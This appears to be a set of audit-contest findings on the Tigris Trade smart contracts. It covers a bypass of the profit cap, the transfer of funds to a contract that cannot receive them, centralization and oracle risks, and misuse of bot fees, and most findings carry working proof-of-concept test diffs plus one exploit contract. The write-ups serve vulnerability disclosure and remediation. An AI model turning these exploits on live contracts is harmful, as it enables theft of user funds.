Tigris Trade contest - 0xA5DF's results

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L625-L627

Vulnerability details

Impact

Trader's profit from a position is supposed to be capped to maxWinPercent of the margin. However when closing only part of the position, the total margin of the position is used to calculate capping rather than the part of the margin that's being closed. This means a trader can bypass capping by closing the position in a few rounds, each time closing only part of the position.

Proof of Concept

I've modified the "Max win should be capped to 10x" test at Trading.js to test this scenario. In this case the initial margin is 1K$, and the profit without a cap is x50 = 50K$, with x10 cap set it's supposed to be 10K$. But with partial withdrawing it's actually possible to withdraw 42K$ (with more iterations it can get closer to the full 50K).

Diff:

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..3247eb2 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -2121,7 +2121,9 @@ describe("Trading", function () {
       let closeSig = await node.signMessage(
         Buffer.from(closeMessage.substring(2), 'hex')
       );
-      
+      for (let i = 0; i < 10; i++) {
+        await trading.connect(owner).initiateCloseOrder(1, 2e9, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
+      }
       await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
       expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("10000")); // Max win is Margin * 10 = $10,000
     });

Output:

  1) Trading
       PnL calculations
         Max win should be capped to 10x:

      AssertionError: Expected "42134529433600000000000" to be equal 10000000000000000000000
      + expected - actual

       {
      -  "_hex": "0x021e19e0c9bab2400000"
      +  "_hex": "0x08ec1e0f118e00c00000"
         "_isBigNumber": true
       }

Recommended Mitigation Steps

Calculate the capping using the amount of margin that's being closed, rather than the total margin.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/GovNFT.sol#L247 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L285

Vulnerability details

Both BondNFT and GovNFT are an ERC721 implementation, they both also have a function named safeTransferMany() which its name implies is supposed to safe transfer many tokens at once. However the function doesn't actually safe transfer (doesn't )

Impact

Users might use this function, expecting it to verify that the receiver is an ERC721Receiver, but will get their funds stuck in a contract that doesn't support ERC721.

Proof of Concept

I've added the following tests to the GovNFT tests. 1st test will succeed (tx will revert) since safeTransferFrom() does actually use safe transfer. 2nd will fail (tx won't revert), since safeTransferMany() doesn't actually use a safe transfer.

diff --git a/test/05.GovNFT.js b/test/05.GovNFT.js
index 711a649..d927320 100644
--- a/test/05.GovNFT.js
+++ b/test/05.GovNFT.js
@@ -98,6 +98,14 @@ describe("govnft", function () {
       expect(await govnft.pending(owner.getAddress(), StableToken.address)).to.equal(1500);
       expect(await govnft.pending(user.getAddress(), StableToken.address)).to.equal(500);
     });
+
+    it("Safe transfer to non ERC721Receiver", async function () {
+      
+      expect(govnft.connect(owner)['safeTransferFrom(address,address,uint256)'](owner.address,StableToken.address, 2)).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");
+    });
+    it("Safe transfer many  to non ERC721Receiver", async function () {
+      await expect(govnft.connect(owner).safeTransferMany(StableToken.address, [2])).to.be.revertedWith("ERC721: transfer to non ERC721Receiver implementer");
+    });
     it("Transferring an NFT with pending delisted rewards should not affect pending rewards", async function () {
       await govnft.connect(owner).safeTransferMany(user.getAddress(), [2,3]);
       expect(await govnft.balanceOf(owner.getAddress())).to.equal(0);

Output (I've shortened the output. following test will also fail, since the successful transfer will affect them):

      ✔ Safe transfer to contract
      1) Safe transfer many to contract


  11 passing (3s)
  1 failing

  1) govnft
       Reward system related functions
         Safe transfer many to contract:

      AssertionError: Expected transaction to be reverted
      + expected - actual

      -Transaction NOT reverted.
      +Transaction reverted.

Recommended Mitigation Steps

Call _safeTransfer() instead of _transfer().

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L222-L230 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableVault.sol#L78-L83 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/StableToken.sol#L38-L46 https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/PairsContract.sol#L48

Vulnerability details

The project heavily relies on nodes/oracles, which are EOAs that sign the current price. Since all functions (including withdrawing) require a recently-signed price, the owner(s) of those EOA can freeze all activity by not providing signed prices.

I got from the sponsor that the owner of the contract is going to be a timelock contract. However, once the owner holds the power to pause withdrawals - that nullifies the timelock. The whole point of the timelock is to allow users to withdraw their funds when they see a pending malicious tx before it's executed. If the owner has the power to freeze users' funds in the contract, they wouldn't be able to do anything while the owner executes his malicious activity.

Besides that, there are also LP funds, which are locked to a certain period, and also can't withdraw their funds when they see a pending malicious timelock tx.

Impact

The owner (or attacker who steals the owner's wallet) can steal all user's funds.

Proof of Concept

• The fact that the protocol relies on EOA signatures is pretty clear from the code and docs
• The whole project relies on the 'StableVault' and 'StableToken'
  • The value of the 'StableToken' comes from the real stablecoin that's locked in 'StableVault', if someone manages to empty the 'StableVault' from the deposited stablecoins the 'StableToken' would become worthless
• The owner has a few ways to drain all funds:
  • Replace the minter via StableToken.setMinter(), mint more tokens, and redeem them via StableVault.withdraw()
  • List a fake token at StableVault, deposit it and withdraw real stablecoin
  • List a new fake asset for trading with a fake chainlink oracle, fake profit with trading with fake prices, and then withdraw
    • They can prevent other users from doing the same by setting maxOi and opening position in the same tx
  • Replace the MetaTx forwarder and execute tx on behalf of users (e.g. transferring bonds, positions and StableToken from their account)

Recommended Mitigation Steps

• Rely on a contract (chainlink/Uniswap) solely as an oracle
• Alternately, add functionality to withdraw funds at the last given price in case no signed data is given for a certain period
  • You can do it by creating a challenge in which a user requests to close his position at a recent price, if no bot executes it for a while it can be executed at the last recorded price.
• As for LPs' funds, I don't see an easy way around it (besides doing significant changes to the architecture of the protocol), this a risk LPs should be aware of and decide if they're willing to accept

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/utils/TradingLibrary.sol#L114-L120

Vulnerability details

The project relies on EOAs to verify the price via signatures. The project has an optional verification of the price via Chainlink - the price can deviate up to 2% from Chainlink's price. If the Chainlink verification is disabled it's clear that there's a huge centralization risk here, but even when it's enabled - that 2% can become very significant with leverage. E.g. with a leverage of x100 a malicious node can make a profit of ~400% within minutes (opening long at a price low by 2% and closing at a price high by 2%).

Impact

Oracle/node owners can steal from the project and drive it toward insolvency.

Proof of Concept

The docs state:

Prices provided by the oracle network are also compared to Chainlink's public price feeds for additional security. If prices have more than a 2% difference the transaction is reverted.

I've confirmed with the sponsor that a x100 leverage is reasonable.

Here's a coded PoC, where the trader invests 1K$ and gets back 4.47K$:

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..92637a1 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -2530,12 +2530,12 @@ describe("Trading", function () {
       await pairscontract.connect(owner).setAssetChainlinkFeed(0, chainlink.address);
       await tradingExtension.connect(owner).setChainlinkEnabled(true);
       await chainlink.connect(owner).setPrice(200000000000000); // 20000e10
-      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("5"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
-      let openPriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let openPriceData = [node.address, 0, parseEther("19601"), 0, 2000000000, false];
       let openMessage = ethers.utils.keccak256(
         ethers.utils.defaultAbiCoder.encode(
           ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
-          [node.address, 0, parseEther("20000"), 0, 2000000000, false]
+          [node.address, 0, parseEther("19601"), 0, 2000000000, false]
         )
       );
       let openSig = await node.signMessage(
@@ -2543,10 +2543,37 @@ describe("Trading", function () {
       );
       
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
+
+      let balanceBefore = await stabletoken.balanceOf(owner.address);
+      let tx, receipt;
       await trading.connect(owner).initiateMarketOrder(TradeInfo, openPriceData, openSig, PermitData, owner.address);
-      expect(await position.assetOpenPositionsLength(0)).to.equal(1);
+
+
+
+      let closePriceData = [node.address, 0, parseEther("20399"), 0, 2000000000, false];
+      let closeMessage = ethers.utils.keccak256(
+        ethers.utils.defaultAbiCoder.encode(
+          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
+          [node.address, 0, parseEther("20399"), 0, 2000000000, false]
+        )
+      );
+      let closeSig = await node.signMessage(
+        Buffer.from(closeMessage.substring(2), 'hex')
+      );
+
+
+      tx = await trading.connect(owner).initiateCloseOrder(1, 1e10, closePriceData, closeSig, StableVault.address, StableToken.address, owner.address);
+      receipt = await tx.wait();
+      let event = receipt.events.filter(x => x.event == 'PositionClosed');
+      console.log({event, args: event[0].args});
+
+      let balanceAfter = await stabletoken.balanceOf(owner.address);
+
+      console.log({balanceBefore,balanceAfter});
+      
     });
   });
+  return; // don't execute any further tests
   describe("Open interest calculations", function () {
     it("Should work correctly on long, short, full and partial close", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, 0, 0, ethers.constants.HashZero];

Recommended Mitigation Steps

Rely on a smart contract Oracle like Chainlink or Uniswap. Alternately, set the deviation relative to the maxLeverage of the asset (I guess higher leverage means a less volatile asset, therefore the deviation should be lower) - this will partly mitigate the issue.

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L565-L576

Vulnerability details

Impact

Bot fees are used when a position is opened/closed via a bot. In that case a bot fee is subtracted from the dao fee and sent to the closing bot. A user can use that to to reduce the dao fees for closing an order and keep it to themselves. Instead of closing the order via initiateClose(), the user can use a proxy contract to update the stop-loss value and then limitClose() the order. Since that is done in one function call, no bot can run the limitClose() and the bot fee will go to the user.

Proof of Concept

The following PoC shows how a trade is closed by a proxy contract that sets the limit and closes it via limitClose():

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..e50b0cc 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -17,6 +17,7 @@ describe("Trading", function () {
 
   let TradingExtension;
   let tradingExtension;
+  let myTrader;
 
   let TradingLibrary;
   let tradinglibrary;
@@ -37,7 +38,7 @@ describe("Trading", function () {
 
   let MockDAI;
   let MockUSDC;
-  let mockusdc;
+  let mockusdc, mockdai;
 
   let badstablevault;
 
@@ -55,6 +56,7 @@ describe("Trading", function () {
     const Position = await deployments.get("Position");
     position = await ethers.getContractAt("Position", Position.address);
     MockDAI = await deployments.get("MockDAI");
+    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
     MockUSDC = await deployments.get("MockUSDC");
     mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
     const PairsContract = await deployments.get("PairsContract");
@@ -84,6 +86,10 @@ describe("Trading", function () {
     TradingLibrary = await deployments.get("TradingLibrary");
     tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
     await trading.connect(owner).setLimitOrderPriceRange(1e10);
+
+
+    let mtFactory = await ethers.getContractFactory("MyTrader");
+    myTrader = await mtFactory.deploy(Trading.address, Position.address);
   });
   describe("Check onlyOwner and onlyProtocol", function () {
     it("Set max win percent", async function () {
@@ -536,6 +542,31 @@ describe("Trading", function () {
       expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Trade has opened
       expect(await stabletoken.balanceOf(owner.address)).to.equal(parseEther("0")); // Should no tigAsset left
     });
+
+    it("Test my trader", async function () {
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
+      let message = ethers.utils.keccak256(
+        ethers.utils.defaultAbiCoder.encode(
+          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
+          [node.address, 0, parseEther("20000"), 0, 2000000000, false]
+        )
+      );
+      let sig = await node.signMessage(
+        Buffer.from(message.substring(2), 'hex')
+      );
+      
+      let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
+      await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
+
+
+      await trading.connect(owner).approveProxy(myTrader.address, 1e10);
+      await myTrader.connect(owner).closeTrade(1, PriceData, sig);
+
+
+    });
+  return;
+
     it("Closing over 100% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
@@ -551,8 +582,10 @@ describe("Trading", function () {
       
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
       await trading.connect(owner).initiateMarketOrder(TradeInfo, PriceData, sig, PermitData, owner.address);
+
       await expect(trading.connect(owner).initiateCloseOrder(1, 1e10+1, PriceData, sig, StableVault.address, StableToken.address, owner.address)).to.be.revertedWith("BadClosePercent");
     });
+    return;
     it("Closing 0% should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PriceData = [node.address, 0, parseEther("20000"), 0, 2000000000, false];
@@ -700,6 +733,7 @@ describe("Trading", function () {
       expect(margin).to.equal(parseEther("500"));
     });
   });
+  return;
   describe("Trading using <18 decimal token", async function () {
     it("Opening and closing a position with tigUSD output", async function () {
       await pairscontract.connect(owner).setAssetBaseFundingRate(0, 0); // Funding rate messes with results because of time

MyTrader.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {ITrading} from "../interfaces/ITrading.sol";
import "../utils/TradingLibrary.sol";
import "../interfaces/IPosition.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/extensions/draft-ERC20Permit.sol";




contract MyTrader{

    ITrading trading;
    IPosition position;

    receive() payable external{

    }

    constructor(address _trading, address _position){
        trading = ITrading(_trading);
        position = IPosition(_position);
    }

    function closeTrade(
        uint _id,
        PriceData calldata _priceData,
        bytes calldata _signature
    ) public{
        bool _tp = false;
        
        trading.updateTpSl(_tp, _id, _priceData.price, _priceData, _signature, msg.sender);
        trading.limitClose(_id, _tp, _priceData, _signature);

        
    }

}

Recommended Mitigation Steps

Don't allow updating sl or tp and

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Trading.sol#L513-L517

Vulnerability details

The PairsContract registeres the total long/short position that's open for a pair of assets, whenever a new position is created the total grows accordingly. However at executeLimitOrder() the position size that's added is wrongly calculated - it uses margin before fees, while the actual position is created after subtracting fees.

Impact

The OpenInterest would register wrong values (11% diff in the case of PoC), which will distort the balance between long and short positions (the whole point of the OpenInterest is to balance them to be about equal).

Proof of Concept

In the following test, an order is created with a x100 leverage, and the position size registered for OI is 11% greater than the actual position created.

diff --git a/test/07.Trading.js b/test/07.Trading.js
index ebe9948..dfb7f98 100644
--- a/test/07.Trading.js
+++ b/test/07.Trading.js
@@ -778,7 +778,7 @@ describe("Trading", function () {
      */
     it("Creating and executing limit buy order, should have correct price and bot fees", async function () {
       // Create limit order
-      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
+      let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("100"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
       let PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];
       await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address);
       expect(await position.limitOrdersLength(0)).to.equal(1); // Limit order opened
@@ -787,6 +787,9 @@ describe("Trading", function () {
       await network.provider.send("evm_increaseTime", [10]);
       await network.provider.send("evm_mine");
 
+      let count = await position.getCount();
+      let id = count.toNumber() - 1;
+
       // Execute limit order
       let PriceData = [node.address, 0, parseEther("10000"), 10000000, 2000000000, false]; // 0.1% spread
       let message = ethers.utils.keccak256(
@@ -798,8 +801,22 @@ describe("Trading", function () {
       let sig = await node.signMessage(
         Buffer.from(message.substring(2), 'hex')
       );
+      // trading.connect(owner).setFees(true,3e8,1e8,1e8,1e8,1e8);
       
-      await trading.connect(user).executeLimitOrder(1, PriceData, sig);
+
+      let oi = await pairscontract.idToOi(0, stabletoken.address);
+      expect(oi.longOi.toNumber()).to.equal(0);
+      console.log({oi, stable:stabletoken.address});
+
+      await trading.connect(user).executeLimitOrder(id, PriceData, sig);
+      let trade = await position.trades(id);
+      console.log(trade);
+      oi = await pairscontract.idToOi(0, stabletoken.address);
+      console.log(oi);
+
+      expect(oi.longOi.div(10n**18n).toNumber()).to.equal(trade.margin.mul(trade.leverage).div(10n**18n * 10n**18n).toNumber());
+
+
       expect(await position.limitOrdersLength(0)).to.equal(0); // Limit order executed
       expect(await position.assetOpenPositionsLength(0)).to.equal(1); // Creates open position
       expect((await trading.openFees()).botFees).to.equal(2000000);
@@ -807,6 +824,7 @@ describe("Trading", function () {
       let [,,,,price,,,,,,,] = await position.trades(1);
       expect(price).to.equal(parseEther("20020")); // Should have guaranteed execution price with spread
     });
+    return;
     it("Creating and executing limit sell order, should have correct price and bot fees", async function () {
       // Create limit order
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, false, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
@@ -1606,6 +1624,7 @@ describe("Trading", function () {
       expect(await stabletoken.balanceOf(user.address)).to.equal(parseEther("1.5"));
     });
   });
+  return;
   describe("Modifying functions", function () {
     it("Updating TP/SL on a limit order should revert", async function () {
       let TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 0, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];

Output:

1) Trading
       Limit orders and liquidations
         Creating and executing limit buy order, should have correct price and bot fees:

      AssertionError: expected 100000 to equal 90000
      + expected - actual

      -100000
      +90000

Recommended Mitigation Steps

Correct the calculation to use margin after fees.